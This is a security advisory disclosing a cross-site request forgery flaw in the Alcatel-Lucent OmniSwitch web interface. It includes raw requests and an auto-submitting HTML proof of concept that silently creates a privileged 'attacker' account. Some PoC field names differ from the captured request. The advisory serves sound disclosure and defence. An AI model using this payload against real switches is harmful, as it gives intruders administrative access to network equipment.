RedTeam Pentesting GmbH

Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery

During a penetration test, RedTeam Pentesting discovered a vulnerability in the management web interface of an Alcatel-Lucent OmniSwitch 6450. The management web interface has no protection against cross-site request forgery attacks. This allows specially crafted web pages to change the switch configuration and create users, if an administrator accesses the website while being authenticated in the management web interface.

Details

Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400,
6855, 6900, 10K, 6860
Affected Versions: All Releases:
AOS 6.4.5.R02
AOS 6.4.6.R01
AOS 6.6.4.R01
AOS 6.6.5.R02
AOS 7.3.2.R01
AOS 7.3.3.R01
AOS 7.3.4.R01
AOS 8.1.1.R01
Fixed Versions: -
Vulnerability Type: Cross-site request forgery
Security Risk: medium
Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004
Advisory Status: published
CVE: CVE-2015-2805
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805

Introduction

“The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable LAN Switches are the latest value stackable switches in the OmniSwitch family of products. The OmniSwitch 6450 was specifically built for versatility offering optional upgrade paths for 10 Gigabit stacking, 10 Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and Metro Ethernet services.”

(from the vendor’s homepage)

More Details

The management web interface of the OmniSwitch 6450 can be accessed using a web browser via HTTP. The web interface allows creating new user accounts, in this case an HTTP request like the following is sent to the switch:

POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1 Host: 192.0.2.1 […] Cookie: session=sess_15739 Content-Type: application/x-www-form-urlencoded Content-Length: 214
EmWeb_ns:mip:2.T1:I1=attacker &EmWeb_ns:mip:244.T1:O1=secret &EmWeb_ns:mip:246.T1:O2=-1 &EmWeb_ns:mip:248.T1:O3= &EmWeb_ns:mip:249.T1:O4=1 &EmWeb_ns:mip:250.T1:O5=4

This request creates a user “attacker” with the password “secret”. All other parameters are static. All POST parameters can be predicted by attackers

This means that requests of this form can be prepared by attackers and sent from any web page the user visits in the same browser. If the user is authenticated to the switch, a valid session cookie is included in the request automatically, and the action is performed.

In order to activate the new user for the web interface it is necessary to enable the respective access privileges in the user’s profile. This can also be done via the web interface. Then the HTTP POST request looks like the following:

POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1 Host: 192.0.2.1 […] Cookie: session=sess_15739 Content-Type: application/x-www-form-urlencoded Content-Length: 167
EmWeb_ns:mip:2.T1:I1=attacker &EmWeb_ns:mip:4.T1:O1= &EmWeb_ns:mip:5.T1:O2= &EmWeb_ns:mip:6.T1:O3=4294967295 &EmWeb_ns:mip:7.T1:O4=4294967295

This request sets all access privileges for the user “attacker” and is again completely predictable.

Proof of Concept

Visiting the following HTML page will create a new user via the switch’s management web interface, if the user is authenticated at the switch:

<html>
<head>
<title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title>
</head>
<body>
  <form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html"
  method="POST" id="CSRF" style="visibility:hidden">
    <input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" />
  </form>
<script>
document.getElementById("CSRF").submit();
</script>
</body>
</html>

Workaround

Disable the web interface by executing the following commands:

AOS6:

no ip service http no ip service secure-http

AOS 7/8:

ip service http admin-state disable

If this is not possible, use a dedicated browser or browser profile for managing the switch via the web interface.

Fix

Upgrade the firmware to a fixed version, according to the vendor the fixed versions will be available at the end of July 2015.

Security Risk

If attackers trick a logged-in administrator to visit an attacker-controlled web page, the attacker can perform actions and reconfigure the switch. In this situation an attacker can create an additional user account on the switch for future access. While a successful attack results in full access to the switch, the attack is hard to exploit because attackers need to know the IP address of the switch and get an administrative user to access an attacker-controlled web page. The vulnerability is therefore rated as a medium risk.

Timeline

2015-03-16 Vulnerability identified
2015-03-25 Customer approves disclosure to vendor
2015-03-26 CVE number requested
2015-03-31 CVE number assigned
2015-04-01 Vendor notified
2015-04-02 Vendor acknowledged receipt of advisories
2015-04-08 Requested status update from vendor, vendor is investigating
2015-04-29 Requested status update from vendor, vendor is still investigating
2015-05-22 Requested status update from vendor
2015-05-27 Vendor is working on the issue
2015-06-05 Vendor notified customers
2015-06-08 Vendor provided details about affected versions
2015-06-10 Advisory released

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